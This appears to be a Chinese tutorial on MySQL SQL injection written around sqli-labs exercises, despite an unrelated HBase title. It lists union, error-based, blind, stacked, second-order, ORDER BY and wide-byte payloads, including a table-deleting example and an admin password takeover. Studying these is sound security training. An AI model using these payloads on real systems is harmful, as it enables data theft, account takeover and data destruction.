Hbase(6)【Java Api Phoenix操作Hbase】
魯迅曾經說過:
1.什麼是SQL注入
SQL注入是一種通過操縱輸入來修改後臺SQL語句以達到利用程式碼進行攻擊目的的技術
2.漏洞產生的前提條件
引數使用者可控:
前端傳給後端的引數內容是可以被使用者控制的引數帶入資料庫查詢:
傳入的引數拼接到SQL語句,且帶入資料庫查詢
3.與SQL注入相關知識點
1.在MYSQL5.0版本後,系統會預設在資料庫中存放一個informa_schema
的資料庫,該庫中需要記住三個表名:schemata,tables,columns;
schemata
表用來存放使用者建立的所有資料庫的庫名,需要記住資料庫庫名的欄位名為schema_name
tables
存放資料所有資料庫名和表名,記住這兩個欄位名table_schema
table_name
columns
存放所有的資料庫名,表名和列名,需要記住這三個欄位名table_schema
,table_name
,column_name
看到上面的說明應該明白輸入information_schema.tables
等欄位的原因了
常用函式
- 檢視當前資料庫版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
2.檢視資料庫當前登陸使用者
USER()
CURRENT_USER()
SYSTEM_USER()
SESSION_USER()
3.當前使用的資料庫
DATABASE()
SCHEMA()
4.系統相關
@@BASEDIR
@@BASEDIR
: mysql安裝路徑@@DATADIR
: 資料儲存路徑@@PID_FILE
: pid-file檔案路徑@@LOG_ERROR
: 錯誤日誌檔案路徑@@version_compile_os
:作業系統版本@@SLAVE_LOAD_TMPDIR
: 臨時資料夾路徑@@SLAVE_LOAD_TMPDIR
: 臨時資料夾路徑@@CHARACTER_SETS_DIR
: 字符集設定檔案路徑
5.註釋符:#
或--空格
或/**/
聯合資料
concat()
group_concat()
concat_ws()
concat
基本格式:concat(str1,str2)
返回結果為連線引數產生的字串。如有任何一個引數為 NULL ,則返回值為 NULL。
可以有一個或多個引數。
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
concat_ws
CONCAT_WS()
代表 CONCAT With Separator
,是CONCAT()
的特殊形式。
第一個引數是其它引數的分隔符。這樣引數多的話就不用手動的去新增分隔符了。
基本格式:CONCAT_WS(separator,str1,str2,…)
Separator
為字元之間的分隔符
mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1~Dumb~Dumb |
| 2~Angelina~I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
GROUP_CONCAT
將group by產生的同一個分組中的值連線起來,返回一個字串結果。
基本格式:GROUP_CONCAT(str1,str2,…)
mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users;
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
4.注入分類
5.基本流程(聯合查詢)
判斷欄位數目
ORDER BY 10
ORDER BY 5
ORDER BY 2
....
判斷顯示位
union select 1,2,3,4,5,6,7……
檢視當前資料庫
union select 1,2,database()
查表名
union select 1,2,table_name from information_schema.tables where
table_schema=database()
查列名
union select 1,2,column_name from information_schema.columns where
table_name='表名' and table_schema=database()
查詢欄位值
union select 1,欄位名,欄位名 from 表名
6.基於注入點屬性
分為數字型和字元型,判斷方法如下:
數字型判斷
and 1=1
顯示
and 1=2
不顯示,可以判斷注入點是數字型
字元型判斷
and 1=1
顯示
and 1=2
也顯示,到這一步可以排除數字型了
接下來判斷是單引號字元還是雙引號字元
1.在引數後加加一個'
或者"
- 若加
'
後,不顯示查詢結果了,就是單引號字元型 - 若加
"
後,不顯示查詢結果了,就是雙引號字元型
2.或者採用如下語句判斷
'and 1=1#
顯示
' and 1=2#
不顯示,就可以斷定是單引號
但是,如果引數被括號()
包裹的話:
-
如果是數字型加括號
($id)
-
?id=2 and 1=1
會顯示1的查詢結果 ;因為查詢語句中id=(2 and 1=1)
,2 and 1=1
結果為1 -
?id=2 and 1=1
不顯示;(2 and 1=2)
相與為0,查詢語句變成id=(0)
-
由以上兩點結合,可猜測存在
()
-
-
如果是字元型加括號
('$id')
或("$id")
,以('$id')
為例?id=2'
不顯示,因為語句錯誤?id=2' and 1=1#
和?id=2' and 1=2#
不顯示,因為有語法錯誤,()
沒閉合- 由以上兩點可以猜測可能有
()
括號判斷
數字型判斷括號:
- 就根據
?id=2 and 1=1
,如果返回1的查詢結果,就表明有()
,相當於資料庫中執行id=(2 and 1=1)
,括號裡面是Bool值 - 如果返回2查詢結果,表明沒有
()
字元型判斷括號
有兩種方法:
?id=2'&&'1'='1
- 若查詢語句為
where id='$id'
,查詢時是where id='2'&&'1'='1'
,結果是where id='2'
,回顯會是id=2
。 - 若查詢語句為
where id=('$id')
,查詢時是where id=('2'&&'1'='1')
,MySQL 將'2'
作為了 Bool 值,結果是where id=('1')
,回顯會是id=1
。
1')||'1'=('1
若查詢語句有小括號正確回顯,若無小括號錯誤回顯(無回顯)。
7.基於注入點位置
這些只是注入位置,不影響使用某種注入方法
GET型和POST型
想細緻瞭解的看這篇文章GET和POST兩種基本請求方法的區別
通俗的說GET注入是在位址列傳參注入
POST注入就是使用POST進行傳參的注入
POST注入高危點
- 登入框
- 查詢框
- 等各種和資料庫有互動的框
Cookie型
Cookie,有時也用其複數形式 Cookies,指某些網站為了辨別使用者身份、進行 session 跟蹤而儲存在使用者本地終端上的資料(通常經過加密)
練習題目
sqli-labs(20-22)
HTTP Head
在寫網站程式碼的時候,程式設計人員會用到對應的函式,對使用者提交的引數進行過濾。
但是對於http頭中的提交的內容可能沒有進行過濾。
例如http頭的User-agent、Referer等,所以就會產生http頭注入的情況。
常見的HTTP注入點產生位置為【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;
(1) HTTP Referer是header的一部分,當瀏覽器向web伺服器傳送請求的時候,一般會帶上Referer,告訴伺服器我是從哪個頁面連結過來的,伺服器基此可以獲得一些資訊用於處理。
(2)X-Forwarded-For: 簡稱XFF頭,它代表客戶端,用於記錄代理資訊的,每經過一級代理(匿名代理除外),代理伺服器都會把這次請求的來源IP
追加在X-Forwarded-For
中
(3)X-Real-IP一般只記錄真實發出請求的客戶端IP,看下面的例子,
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
代表 請求由1.1.1.1發出,經過三層代理,第一層是2.2.2.2,第二層是3.3.3.3,而本次請求的來源IP4.4.4.4是第三層代理
如果配置了X-Read-IP,將會是:
X-Real-IP: 1.1.1.1
所以 ,如果只有一層代理,這兩個頭的值就是一樣的
(4)Accept-Language請求頭允許客戶端宣告它可以理解的自然語言,以及優先選擇的區域方言
(5)Authorization: HTTP 之 Authorization
練習題目
sali-labs(18,19)
8.基於注入程度和順序
一階注入
一般的注入都是一階注入,輸入構造的語句後就執行結果
一階主要是和二階注入進行區分
二階注入
所謂二階注入是指已儲存(資料庫、檔案)的使用者輸入被讀取後再次進入到 SQL 查詢語句中導致的注入。
二階注入也是SQL注入的一種,與我們平時接觸最多的一階SQL注入相比利用門檻更高。
普通的一階SQL注入資料直接就進入到SQL查詢中,而二階SQL注入則是輸入資料經處理後儲存,然後取出資料,最後才進入到SQL查詢。
二階注入的流程如下:
· 攻擊者在HTTP請求中提交某種經過構思的輸入。
· 應用儲存該輸入(通常儲存在資料庫中)以便後面使用並響應請求。
· 攻擊者提交第二個(不同的)請求。
· 為處理第二個請求,應用會檢索已經儲存的輸入並處理它,從而導致攻擊者注入的SQL查詢被執行。
· 如果可行的話,會在應用對第二個請求的響應中向攻擊者返回查詢結果。
案例
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
這裡直接使用單引號拼接了 username 所以當 username 可控的話 ,這裡是存在SQL注入的,假設使用者註冊的 username 的值為:admin'#
,那麼此時的完整語句就為:sql
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此時就完全改變了語義,直接就修改掉了 admin 使用者的密碼。
步驟
建立一個admin'#
開頭的使用者名稱:
admin'#1
admin'#233
admin'#gg
...
註冊完成後資料庫的記錄資訊如下
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
成功添加了記錄,這裡單引號資料庫中中看沒有被雖然轉義了,這是因為轉義只不過是暫時的,最後存入到資料庫的時候還是沒變的。
接下來登入 admin'#hacker
使用者,然後來修改當前的密碼
此時來資料庫中檢視,可以發現成功修改掉了 admin 用的密碼了:
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
防禦策略
安全起見,如果轉義,就每個地方均轉義
練習題目
sqli-labs 24
9.基於從伺服器返回的響應
聯合查詢
前面的基本流程就是聯合查詢的步驟
堆疊查詢
原理
在PHP中,mysqli_multi_query(connection,query)
函式可以多語句查詢SQL
多查詢語句以;
分開,堆疊查詢就是利用這個特點,在第二個SQL語句中構造自己要執行的語句
union 或者union all執行的語句型別是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。
使用者輸入:1; DELETE FROM products
伺服器端生成的sql語句為:(對輸入的引數進行過濾)
Select * from products where productid=1;DELETE FROM products
當執行查詢後,第一條顯示查詢資訊,第二條則將整個表進行刪除。
可以利用堆疊注入進行增刪改查等操作
堆疊注入的侷限性
在我們的web系統中,因為程式碼通常只返回一個查詢結果,因此,堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端介面是無法看到返回結果的。
在讀取資料時,我們建議使用union(聯合)注入。
在使用堆疊注入之前,需要知道一些資料庫相關資訊的,例如表名,列名等資訊。
oracle不能使用堆疊注入
練習題目
sali-labs(38-45)
報錯注入
floor()報錯
原理
floor()報錯注入的原因是group by在向臨時表插入資料時,由於rand()多次計算導致插入臨時表時主鍵重複,從而報錯,又因為報錯前concat()中的SQL語句或函式被執行,所以該語句報錯且被丟擲的主鍵是SQL語句或函式執行後的結果。
報錯語句
floor()是取整,rand()是0-1間取值
輸出字元長度限制為64個字元
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
關鍵表被禁用了
select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2))
xpath語法報錯
updatexml() 更新xml文件的函式
語法:updatexml(目標xml內容,xml文件路徑,更新的內容)
輸出的字元長度有限制,最長輸出32位
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
實際上這裡是去更新了XML文件,但是我們在XML文件路徑的位置裡面寫入了子查詢,我們輸入特殊字元,然後就因為不符合輸入規則然後報錯了
但是報錯的時候他其實已經執行了那個子查詢程式碼!
[0x7e 實際是是16進位制,Mysql支援16進位制,但是開頭得寫0x 0x7e是一個特殊符號,然後不符合路徑規則報錯] ~ ~
extractvalue()
語法: extractvalue(目標xml內容,xpath格式的字串)
輸出字元有長度限制,最長32位。
and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
updatexml與extractvalue都是基於xpath語法進行報錯的,extractvalue也與其類似。
一般是配合and或者是or使用的,他和聯合查詢不同,不需要在意什麼欄位數。
exp報錯
原理
exp是一個數學函式 取e的x次方,當我們輸入的值大於709就會報錯 然後取反它的值總會大於709所以報錯,適用版本:5.5.5,5.5.49,而mysql能記錄的double數值範圍有限,一旦結果超過範圍,則該函式報錯,~符號為運算子,意思為一元字元反轉。
報錯語句
這裡必須使用巢狀,因為不使用巢狀不加select*from 無法大整數溢位
exp(~(select * from(查詢語句)a))
union select exp(~(select * from(select database())a))
BIGINT溢位錯誤
報錯語句
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
幾何函式報錯
報錯語句
GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))
polygon():polygon((select * from(select * from(select user())a)b))
multipoint():multipoint((select * from(select * from(select user())a)b))
multilinestring():multilinestring((select * from(select * from(select user())a)b))
linestring(): LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :multipolygon((select * from(select * from(select user())a)b))
盲注
介紹
布林盲注
- 布林有明顯的True跟Flase,也就是說它會根據你的注入資訊返回Ture跟Flase,也就沒有了之前的報錯資訊.
時間盲注
- 頁面返回值只有一種Ture,無論輸入認識值,返回情況都會按正常來處理.加入特定的時間函式,通過web頁面返回的時間差來判斷注入語句是否正確。
盲注常用函式
- length() 函式 返回字串的長度
- substr() 擷取字串 (語法:SUBSTR(str,pos,len);)
- scii() 返回字元的ascii碼 [將字元變為數字wei]
- sleep() 將程式掛起一段時間n為n秒
- if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
注入流程
盲注
猜解當前資料庫名稱長度
and (length(database()))>1
利用ASCII碼猜解當前資料庫名稱
and (ascii(substr(database(),1,1)))=115
--返回正常,說明資料庫名稱第一位是s
猜表名
and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101
--返回正常,說明資料庫表名的第一個的第一位是e
猜欄位名
and (ascii(substr((select column_name from information_schema.columns where
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常,說明zkaq表中的列名稱第一位是f
猜內容
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常,說明zKaQ列第一位是z
延時注入
and if(ascii(substr(database(),1,1))>1,0,sleep(5))
延時盲注其實和布林盲注其實沒有什麼太大的區別,只不過是一個依靠頁面是否正常判斷,一個是否延時判斷,在操作上其實也差不多,只不過延時多一個if()
10.其他注入
order by 注入
它是指可控制的位置在order by子句後,如下order引數可控:select * from goods order by $_GET['order']
order by是mysql中對查詢資料進行排序的方法, 使用示例
select * from 表名 order by 列名(或者數字) asc;升序(預設升序)
select * from 表名 order by 列名(或者數字) desc;降序
判斷注入型別
數字型order by注入時,語句order by=2 and 1=2
,和order by=2 and 1=1
顯示的結果一樣,所以無法用來判斷注入點型別
而用rand()會顯示不同的排序結果
當在字元型中用?sort=rand()
,則不會有效果,排序不會改變
因此用rand()可判斷注入點型別
1.基於if語句盲注(數字型)
下面的語句只有order=$id
,數字型注入時才能生效,
order ='$id'
導致if語句變成字串,功能失效
如下圖為演示
-
字串型時if()失效,排列順序不改變
-
數字型時排列順序改變
知道列名情況下
if語句返回的是字元型別,不是整型, 因此如果使用數字代替列名是不行的,如下圖
這是在知道列名的前提下使用
?order=if(表示式,id,username)
- 表示式為true時,根據id排序
- 表示式為false時,根據username排序
不知道列名
id總知道吧
?order=if(表示式,1,(select id from information_schema.tables))
-
如果表示式為true時,則會返回正常的頁面。
-
如果表示式為false時,sql語句會報ERROR 1242 (21000): Subquery returns more than 1 row的錯誤,導致查詢內容為空
2.基於時間的盲注
order by if(表示式,1,sleep(1))
-
表示式為true時,正常時間顯示
-
表示式false時,會延遲一段時間顯示
延遲的時間並不是sleep(1)中的1秒,而是大於1秒。 它與所查詢的資料的條數是成倍數關係的。
計算公式:延遲時間=sleep(1)的秒數*所查詢資料條數
如果查詢的資料很多時,延遲的時間就會特別長
在寫指令碼時,可以新增timeout這一引數來避免延遲時間過長這一情況。
3.基於rand()的盲注(數字型)
rand() 函式可以產生隨機數介於0和1之間的一個數
當給rand() 一個引數的時候,會將該引數作為一個隨機種子,生成一個介於0-1之間的一個數,
種子固定,則生成的數固定
order by rand
:這個不是分組,只是排序,rand()只是生成一個隨機數,每次檢索的結果排序會不同
order by rand(表示式)
當表示式為true和false時,排序結果是不同的,所以就可以使用rand()函式進行盲注了。
4.報錯注入
order by updatexml(1,if(1=2,1,(表示式)),1)
order by extractvalue(1,if(1=2,1,(表示式)));
因為1=2
,所以執行表示式內容
例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)
獲取資料庫名
若改成1=1
,則頁面正常顯示
練習題目
sqli-labs(46-53)
參考
[MySQL Order By 注入總結 - SecPulse.COM | 安全脈搏](
寬位元組注入
概念
MySQL 在使用 GBK 編碼的時候,會認為兩個字元為一個漢字,例如 %aa%5c
就是一個 漢字。
因為過濾方法主要就是在敏感字元前面新增 反斜槓 \
。用於轉義的函式有addslashes ,mysql_real_escape_string ,mysql_escape_string
等
寬位元組注入就是PHP傳送請求到MySql時使用了語句SET NAMES 'gbk'
或是SET character_set_client =gbk
進行了一次編碼,但是又由於一些不經意的字符集轉換導致了寬位元組注入。
注入方式
1 %df
吃掉
具體的原因是 urlencode(\') = %5c%27
,我們在%5c%27
前面新增%df
,形 成%df%5c%27
,
MySQL 在 GBK 編碼方式的時候會將兩個位元組當做一個漢字,這個時候就把%df%5c
當做是一個漢字,%27
則作為一個單獨的符號在外面,同時也就達到了我們的目的。
2 將 \'
中的 \
過濾掉
例如可以構造 %5c%5c%27
的情況,後面的%5c
會被前面的%5c
給註釋掉。這也是 bypass 的一種方法。
post型
將 utf-8 轉換為 utf-16 或 utf-32,例如將 '
轉為 utf-16 為�
我們就 可以利用這個方式進行嘗試,可以使用 Linux 自帶的 iconv 命令進行 UTF 的編碼轉換:
➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'
其他情況
- UTF-8是3個字元
- GBK是2個字元
- \是1個字元
外面傳參一個漢字UTF-8(3個字元)
進了資料庫GBK3+1=4 >這是兩個漢字
漢') or 1=1-- qwe
有的時候我們也可以用16進位制來代替字串
練習題目
sqli-labs(32-37)